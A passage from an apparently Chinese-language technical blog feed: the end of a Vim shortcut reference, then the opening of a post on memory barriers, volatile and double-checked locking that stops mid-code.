&lt;li&gt;&lt;strong&gt;插入模式 (Insert Mode):&lt;/strong&gt; 在此模式下，您可以像在普通编辑器中一样输入文本。在命令模式下按 &lt;code&gt;i&lt;/code&gt;, &lt;code&gt;a&lt;/code&gt;, &lt;code&gt;o&lt;/code&gt; 等键即可进入。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;可视模式 (Visual Mode):&lt;/strong&gt; 用于选中文本块，类似于用鼠标拖拽选择。选中的文本可以进行复制、删除、替换等操作。 在命令模式下按 &lt;code&gt;v&lt;/code&gt; (字符选择), &lt;code&gt;V&lt;/code&gt; (行选择), 或 &lt;code&gt;Ctrl+v&lt;/code&gt; (块选择) 进入。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;命令模式 (Command-line Mode):&lt;/strong&gt; 以冒号 (:) 开始，用于执行保存、退出、查找替换、执行外部命令等复杂操作。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;通过按 &lt;code&gt;Esc&lt;/code&gt; 键可以从其他模式切换回命令模式，这是 Vim 操作的基石。&lt;/p&gt;
&lt;h3&gt;Vim 命令的语法结构&lt;/h3&gt;
&lt;p&gt;Vim 的许多命令遵循一种类似&quot;语法&quot;的结构：&lt;code&gt;[operator][count][motion]&lt;/code&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;operator (操作符):&lt;/strong&gt; 如 &lt;code&gt;d&lt;/code&gt; (删除), &lt;code&gt;c&lt;/code&gt; (修改), &lt;code&gt;y&lt;/code&gt; (复制)。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;count (次数):&lt;/strong&gt; 表示重复执行的次数。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;motion (动作):&lt;/strong&gt; 定义了操作的范围，如 &lt;code&gt;w&lt;/code&gt; (一个单词), &lt;code&gt;$&lt;/code&gt; (到行尾)。
例如:&lt;/li&gt;
&lt;li&gt;&lt;code&gt;d2w&lt;/code&gt;: 删除 (d) 2 个 (2) 单词 (w)。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;3dd&lt;/code&gt;: 删除3行&lt;/li&gt;
&lt;li&gt;&lt;code&gt;y5j&lt;/code&gt;: 向下复制5行&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;常用快捷键详解&lt;/h3&gt;
&lt;p&gt;以下是 Vim 中常用的一些快捷键，主要在 &lt;strong&gt;命令模式&lt;/strong&gt; 下使用：&lt;/p&gt;
&lt;h4&gt;光标移动&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;h&lt;/code&gt;&lt;/strong&gt;: 左移一个字符。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;j&lt;/code&gt;&lt;/strong&gt;: 下移一行。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;k&lt;/code&gt;&lt;/strong&gt;: 上移一行。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;l&lt;/code&gt;&lt;/strong&gt;: 右移一个字符。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;单词移动:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;w&lt;/code&gt;&lt;/strong&gt;: 跳转到下一个单词的开头，按标点或单词分割。(word)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;W&lt;/code&gt;&lt;/strong&gt;: 跳转到下一个单词的开头，仅以空格分割。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;b&lt;/code&gt;&lt;/strong&gt;: 跳转到上一个单词的开头。(backward)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;B&lt;/code&gt;&lt;/strong&gt;: 跳转到上一个单词的开头，仅以空格分割。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;e&lt;/code&gt;: 跳转到当前或下一个单词的结尾。(end of word)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;E&lt;/code&gt;: 跳转到当前或下一个单词的结尾，仅以空格分割。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;行内移动:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;0&lt;/code&gt;&lt;/strong&gt;: 移动到行首。(第 0 列)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;^&lt;/code&gt;&lt;/strong&gt;: 移动到行首的第一个非空白字符。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;$&lt;/code&gt;&lt;/strong&gt;: 移动到行尾。(正则中’$‘表示最后)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;f{char}&lt;/code&gt;&lt;/strong&gt;: 移动到当前行下一个出现的 &lt;code&gt;{char}&lt;/code&gt; 字符上。(find)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;F{char}&lt;/code&gt;&lt;/strong&gt;: 移动到当前行上一个出现的 &lt;code&gt;{char}&lt;/code&gt; 字符上。(Find)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;t{char}&lt;/code&gt;: 移动到当前行下一个出现的 &lt;code&gt;{char}&lt;/code&gt; 字符的前一个字符上。(till)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;T{char}&lt;/code&gt;: 移动到当前行上一个出现的 &lt;code&gt;{char}&lt;/code&gt; 字符的前一个字符上。(Till)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;;&lt;/code&gt;&lt;/strong&gt;: 重复上一次的移动操作。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;,&lt;/code&gt;&lt;/strong&gt;: 反向重复上一次的移动操作。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;屏幕移动:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;gg&lt;/code&gt;&lt;/strong&gt;: 移动到文件的第一行。(gogo)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;G&lt;/code&gt;&lt;/strong&gt;: 移动到文件的最后一行。(Go)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;H&lt;/code&gt;&lt;/strong&gt;: 移动到屏幕的顶部。(High)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;M&lt;/code&gt;&lt;/strong&gt;: 移动到屏幕的中间。(Middle)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;L&lt;/code&gt;&lt;/strong&gt;: 移动到屏幕的底部。(Low)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;zz&lt;/code&gt;&lt;/strong&gt;: 将当前行置于屏幕中央。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;zt&lt;/code&gt;&lt;/strong&gt;: 将当前行置于屏幕顶部。(top)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;zb&lt;/code&gt;&lt;/strong&gt;: 将当前行置于屏幕底部。(bottom)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;:{行号}&lt;/code&gt;&lt;/strong&gt;: 移动到指定行号。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;翻页:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Ctrl + f&lt;/code&gt;&lt;/strong&gt;: 向下翻一页。(forward)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Ctrl + b&lt;/code&gt;&lt;/strong&gt;: 向上翻一页。(backward)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Ctrl + d&lt;/code&gt;&lt;/strong&gt;: 向下翻半页。(down)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Ctrl + u&lt;/code&gt;&lt;/strong&gt;: 向上翻半页。(up)&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;文本编辑&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;插入文本:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;i&lt;/code&gt;&lt;/strong&gt;: 在光标前进入插入模式。(insert)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;a&lt;/code&gt;: 在光标后进入插入模式。(append)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;I&lt;/code&gt;&lt;/strong&gt;: 在当前行的第一个非空白字符处进入插入模式。(Insert)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;A&lt;/code&gt;&lt;/strong&gt;: 在当前行的结尾进入插入模式。(Append)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;o&lt;/code&gt;&lt;/strong&gt;: 在当前行的下方新建一行并进入插入模式。(open a new line below)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;O&lt;/code&gt;&lt;/strong&gt;: 在当前行的上方新建一行并进入插入模式。(Open a new line above)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;5otemplate&amp;lt;class T&amp;gt;&lt;/code&gt;: 快速新建&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;删除、复制和粘贴:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;d&lt;/code&gt;: 删除 (delete)。可以和移动命令结合使用。
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;dd&lt;/code&gt;&lt;/strong&gt;: 删除当前行。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;dw&lt;/code&gt;&lt;/strong&gt;: 删除从光标到下一个单词开头的内容。(delete word)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;d$&lt;/code&gt; 或 &lt;strong&gt;&lt;code&gt;D&lt;/code&gt;&lt;/strong&gt;: 删除从光标到行尾的内容。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;c&lt;/code&gt;: 修改 (change)，删除指定内容并进入插入模式。
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;cc&lt;/code&gt;&lt;/strong&gt; 或 &lt;code&gt;S&lt;/code&gt;: 删除当前行并进入插入模式。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cw&lt;/code&gt;: 删除一个单词并进入插入模式。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ce&lt;/code&gt;: 删除一个单词并进入插入模式。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;c$&lt;/code&gt; 或 &lt;strong&gt;&lt;code&gt;C&lt;/code&gt;&lt;/strong&gt;: 修改从光标到行尾。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;ci(&lt;/code&gt;&lt;/strong&gt;: 删除括号内的内容并进入插入模式。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;y&lt;/code&gt;: 复制 (yank)。可以和移动命令结合使用。(yank)
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;yy&lt;/code&gt;&lt;/strong&gt; 或 &lt;code&gt;Y&lt;/code&gt;: 复制当前行。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;yw&lt;/code&gt;&lt;/strong&gt;: 复制一个单词。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;r&lt;/code&gt;: 替换单个字符。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;R&lt;/code&gt;- 进入替换模式&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;p&lt;/code&gt;&lt;/strong&gt;: 在光标后粘贴。(paste)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;P&lt;/code&gt;&lt;/strong&gt;: 在光标前粘贴。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;x&lt;/code&gt;&lt;/strong&gt;: 删除光标所在处的字符。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;X&lt;/code&gt;&lt;/strong&gt;: 删除光标前的字符。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;.&lt;/code&gt;&lt;/strong&gt;: 重复上一次的修改命令。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;撤销与重做:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;u&lt;/code&gt;: 撤销上一步操作。(undo)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Ctrl + r&lt;/code&gt;: 重做上一步被撤销的操作。(redo)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;缩进调整&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&amp;gt;&amp;gt;&lt;/code&gt;: 向右缩进。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;&amp;lt;&lt;/code&gt;: 向左缩进。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;=&lt;/code&gt;: 自动缩进当前行。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;==&lt;/code&gt;: 自动缩进。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;gg=G&lt;/code&gt;: 自动缩进全文。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;gg=G&lt;/code&gt; + &lt;code&gt;Ctrl + r&lt;/code&gt;: 重做上一步被撤销的自动缩进。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;数字&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Ctrl+a&lt;/code&gt; 增加数字&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Ctrl+x&lt;/code&gt; 减少数字&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;可视模式&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;v&lt;/code&gt;: 进入字符可视模式&lt;/li&gt;
&lt;li&gt;&lt;code&gt;V&lt;/code&gt;: 进入行可视模式&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Ctrl + v&lt;/code&gt;: 进入块可视模式&lt;/li&gt;
&lt;li&gt;&lt;code&gt;:&apos;&amp;lt;,&apos;&amp;gt; norm I# &lt;/code&gt;: 批量操作（示例：添加注释）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;:1,10 norm C&lt;/code&gt;:&lt;/li&gt;
&lt;li&gt;&lt;code&gt;:1,10 s/old/new/g&lt;/code&gt;:&lt;/li&gt;
&lt;li&gt;&lt;code&gt;vi&amp;lt;&lt;/code&gt;: 选中尖括号内的内容&lt;/li&gt;
&lt;li&gt;&lt;code&gt;va&amp;lt;&lt;/code&gt;: 选中尖括号的内容（&quot;）同理&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;查找与替换&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;/pattern&lt;/code&gt;&lt;/strong&gt;: 向下查找 &lt;code&gt;pattern&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;?pattern&lt;/code&gt;: 向上查找 &lt;code&gt;pattern&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;n&lt;/code&gt;: 重复上一次的查找。(next)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;N&lt;/code&gt;: 反向重复上一次的查找。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;*&lt;/code&gt;&lt;/strong&gt;: 向下查找光标当前所在的单词。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;#&lt;/code&gt;&lt;/strong&gt;: 向上查找光标当前所在的单词。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;:%s/old/new/g&lt;/code&gt;&lt;/strong&gt;: 全文查找 &lt;code&gt;old&lt;/code&gt; 并替换为 &lt;code&gt;new&lt;/code&gt;。(substitute)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;:%s/old/new/gc&lt;/code&gt;: 全文查找并替换，每次替换前进行确认。(gobal confirm)&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;窗口与标签页&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;:sp&lt;/code&gt;&lt;/strong&gt; 或 &lt;code&gt;:split&lt;/code&gt;: 水平分割窗口。(Ctrl+w)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;:vsp&lt;/code&gt;&lt;/strong&gt; 或 &lt;code&gt;:vsplit&lt;/code&gt;: 垂直分割窗口。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Ctrl+w&lt;/code&gt; + &lt;code&gt;hjkl&lt;/code&gt;&lt;/strong&gt;: 切换到左/下/上/右侧的窗口。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Ctrl+w&lt;/code&gt; + &lt;code&gt;w&lt;/code&gt;: 循环切换窗口。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;:tabnew&lt;/code&gt;&lt;/strong&gt;: 新建一个标签页。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;gt&lt;/code&gt;&lt;/strong&gt;: 切换到下一个标签页&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;gT&lt;/code&gt;&lt;/strong&gt;: 切换到上一个标签页。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;:bn :bp&lt;/code&gt;&lt;/strong&gt;: 下一个/上一个缓冲区&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;宏 (Macro)&lt;/h4&gt;
&lt;p&gt;宏可以录制并回放一系列操作，是处理重复性任务的利器。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;q{register}&lt;/code&gt;&lt;/strong&gt;: 开始录制宏，并存入指定寄存器 (a-z)。例如 &lt;code&gt;qa&lt;/code&gt; 开始录制名为 a 的宏。(query)&lt;/li&gt;
&lt;li&gt;执行你的操作序列。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;q&lt;/code&gt;&lt;/strong&gt;: 停止录制。(quite)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;@{register}&lt;/code&gt;&lt;/strong&gt;: 回放指定寄存器中的宏。例如 &lt;code&gt;@a&lt;/code&gt; 回放宏 a。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;@@&lt;/code&gt;&lt;/strong&gt;: 重复上一次执行的宏。&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;:reg&lt;/code&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;保存与退出&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;:w&lt;/code&gt;: 保存文件。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;:wq&lt;/code&gt;&lt;/strong&gt; 或 &lt;code&gt;ZZ&lt;/code&gt;: 保存文件并退出。(write and quite)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;:q&lt;/code&gt;: 退出 (如果文件有未保存的修改则会失败)。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;:q!&lt;/code&gt;: 强制退出，不保存修改。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;:saveas 路径&lt;/code&gt;: 保存文件到指定路径。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;set&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;vim ~/.vimrc&lt;/code&gt;: 修改配置文件&lt;/li&gt;
&lt;li&gt;&lt;code&gt;:set mouse=a&lt;/code&gt;: 允许使用鼠标&lt;/li&gt;
&lt;li&gt;&lt;code&gt;:set nu&lt;/code&gt;: 开启行号&lt;/li&gt;
&lt;li&gt;&lt;code&gt;:set et&lt;/code&gt;: Tab转换为空格(expandtab)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;:set sw=4&lt;/code&gt;: 缩进为4个空格(shiftwidth)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;:set sts=4&lt;/code&gt;: 删除缩进为4个空格(softtabstop)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;:set hlsearch&lt;/code&gt;: 高亮显示所有搜索匹配项&lt;/li&gt;
&lt;li&gt;&lt;code&gt;:set cursorline&lt;/code&gt;: 高亮显示当前光标所在行&lt;/li&gt;
&lt;li&gt;&lt;code&gt;nnoremap &amp;lt;F8&amp;gt; :sh&amp;lt;CR&amp;gt;&lt;/code&gt;: 设置在普通模式下按F8键的快捷键&lt;/li&gt;
&lt;li&gt;&lt;code&gt;nnoremap &amp;lt;F9&amp;gt; :nohlsearch&amp;lt;CR&amp;gt;&lt;/code&gt;:&lt;/li&gt;
&lt;li&gt;&lt;code&gt;:set nohlsearch&lt;/code&gt;: 取消高亮显示所有搜索匹配项&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;! 魔法 (! 表示后面跟的是一个外部 Shell 命令)&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;%&lt;/code&gt;: 代表当前文件名, &lt;code&gt;%&amp;lt;&lt;/code&gt;: 代表当前文件名去掉扩展名,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;:!gcc % -o %&amp;lt; &amp;amp;&amp;amp; ./%&amp;lt;&lt;/code&gt;: 编译成功执行后，运行&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;:!ls -l&lt;/code&gt;: 同理有 mkdir rm cp 等常见命令&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;:!sort -u&lt;/code&gt;: 排序并移除重复行&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;:!sort -n&lt;/code&gt;: 按数值大小排序&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;:%!jq .&lt;/code&gt;: 格式化 JSON&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;:r !ls -l&lt;/code&gt;: 读取外部命令的输出并插入到当前光标的下一行&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;:r filename&lt;/code&gt;: 将另一个文件的内容插入&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;:!cat /proc/&amp;lt;pid&amp;gt;/map&lt;/code&gt;: 查看 /proc&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Vim Buffer&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;vim a b c d&lt;/code&gt;: 一次性指定多个文件&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;:e 文件名&lt;/code&gt;: 为文件创建 buffer&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;:enew&lt;/code&gt;： 创建一个空的、未命名的 buffer(edit new)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;:badd 文件名&lt;/code&gt;: buffer add&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;:ls&lt;/code&gt;: 列出所有当前的缓冲区&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;:b 2&lt;/code&gt;: 切换到编号为2的 buffer（也支持文件名+Tab补全）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;:bd 2&lt;/code&gt;: buffer delete 2&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;:bn&lt;/code&gt;: buffer next&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;:bp&lt;/code&gt;: buffer previous&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;:b#&lt;/code&gt; / &lt;code&gt;Ctrl + ^&lt;/code&gt;: &lt;code&gt;#&lt;/code&gt;表示上一个编辑的 Buffer&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Barrier</title><link>https://blog.alinche.dpdns.org/posts/cpu/barrier/</link><guid isPermaLink="true">https://blog.alinche.dpdns.org/posts/cpu/barrier/</guid><description>Memory Barrier</description><pubDate>Wed, 16 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;本文将深入探讨并发编程中的核心概念——内存屏障(Memory Barrier)，并系统性地阐述相关的 volatile 限定符、原子操作(Atomics) 以及内存顺序(Memory Order)。我们将从编译器和CPU体系结构两个层面，剖析这些工具如何协同工作，以构建正确且高效的多线程程序。&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;1. &lt;code&gt;volatile&lt;/code&gt; 修饰符&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;volatile&lt;/code&gt; 关键字的核心作用是&lt;strong&gt;告知编译器，被修饰变量的值随时可能在编译器无法察觉的情况下发生改变&lt;/strong&gt;。例如通过硬件中断服务例程(ISR)、内存映射的硬件设备(MMIO)或信号处理函数。因此，它对编译器施加了两个关键约束：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;抑制编译器优化&lt;/strong&gt;：确保每次访问 &lt;code&gt;volatile&lt;/code&gt; 变量时，都直接从其内存地址&lt;strong&gt;读取&lt;/strong&gt;或&lt;strong&gt;写入&lt;/strong&gt;，&lt;strong&gt;而不是使用寄存器中缓存的旧值&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;防止编译器重排&lt;/strong&gt;：编译器不会将对 &lt;code&gt;volatile&lt;/code&gt; 变量的访问指令与其他 &lt;code&gt;volatile&lt;/code&gt; 变量的访问指令进行重排序。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;一个经典的例子：（常见于嵌入式）&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// done 变量可能被硬件、中断服务程序或其他线程修改
// volatile 确保编译器每次循环都会重新从内存加载 done 的值，而不是在寄存器中不断读取
volatile bool done = false; 
while (!done) {
    // 等待 done 变为 true
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;volatile&lt;/code&gt; 的局限性：&lt;/strong&gt;
关键在于，&lt;code&gt;volatile&lt;/code&gt; &lt;strong&gt;仅对编译器&lt;/strong&gt;有效，它&lt;strong&gt;无法限制 CPU 的乱序执行(Out-of-Order Execution)&lt;/strong&gt;。现代 CPU 为了最大化提升性能，可能会对内存操作进行重排序。因此，&lt;code&gt;volatile&lt;/code&gt; &lt;strong&gt;不能提供跨线程的内存可见性和顺序性的同步保证，也不能保证操作的原子性&lt;/strong&gt;。在多线程编程中，单独使用 &lt;code&gt;volatile&lt;/code&gt; 来保证共享变量的可见性和顺序性是&lt;strong&gt;错误且危险&lt;/strong&gt;的。&lt;/p&gt;
&lt;h4&gt;&lt;strong&gt;澄清：volatile 无法解决数据竞争&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;在 C++ 标准中，当多个线程访问同一个非原子变量，并且至少有一个是写操作(副作用)时，就会产生&lt;strong&gt;数据竞争(Data Race)&lt;/strong&gt;，而数据竞争的后果是&lt;strong&gt;未定义行为(UB, Undefined Behavior)&lt;/strong&gt;。
volatile其实无法解决 Racing 问题。它既不能保证操作的原子性（例如，一个线程正在写一个 &lt;code&gt;volatile&lt;/code&gt; 变量时，另一个线程可能读到一半的值），也不能提供跨线程的内存顺序保证。因此，它无法消除数据竞争，也就无法避免未定义行为。&lt;/p&gt;
&lt;h4&gt;经典示例&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;假设有两个线程 A 和 B，以及两个共享变量 x 和 y（初始为 0）。A:写x=1; r1=y; B:写y=1; r2=x;。正常思路会认为 r1 和 r2 至少有一个会为 &lt;strong&gt;1&lt;/strong&gt;。但在真实的现代CPU，是完全可能出现r1和r2均为0的情况。
&lt;ul&gt;
&lt;li&gt;这是由于 写缓存(Store Buffer) 或 指令乱序执行 导致的：&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;单例模式中的双重检查锁定(Double-Checked Locking)问题：&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;new Singleton(); 可以拆分为 allocate() + 构造函数初始化 + 将instance引用指向刚分配的内存地址
编译器或CPU为了优化，可能会交换 步骤2 和 步骤3 的顺序（因为初始化很可能是一个较慢的操作），导致另一个线程在 instance 尚未完全初始化时就发现(instance != null)能访问单例了，进而引发未定义行为。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;public class Singleton {
    private Singleton() {}
    private static volatile Singleton instance;
    public static Singleton getInstance() {
        if (instance == null) {
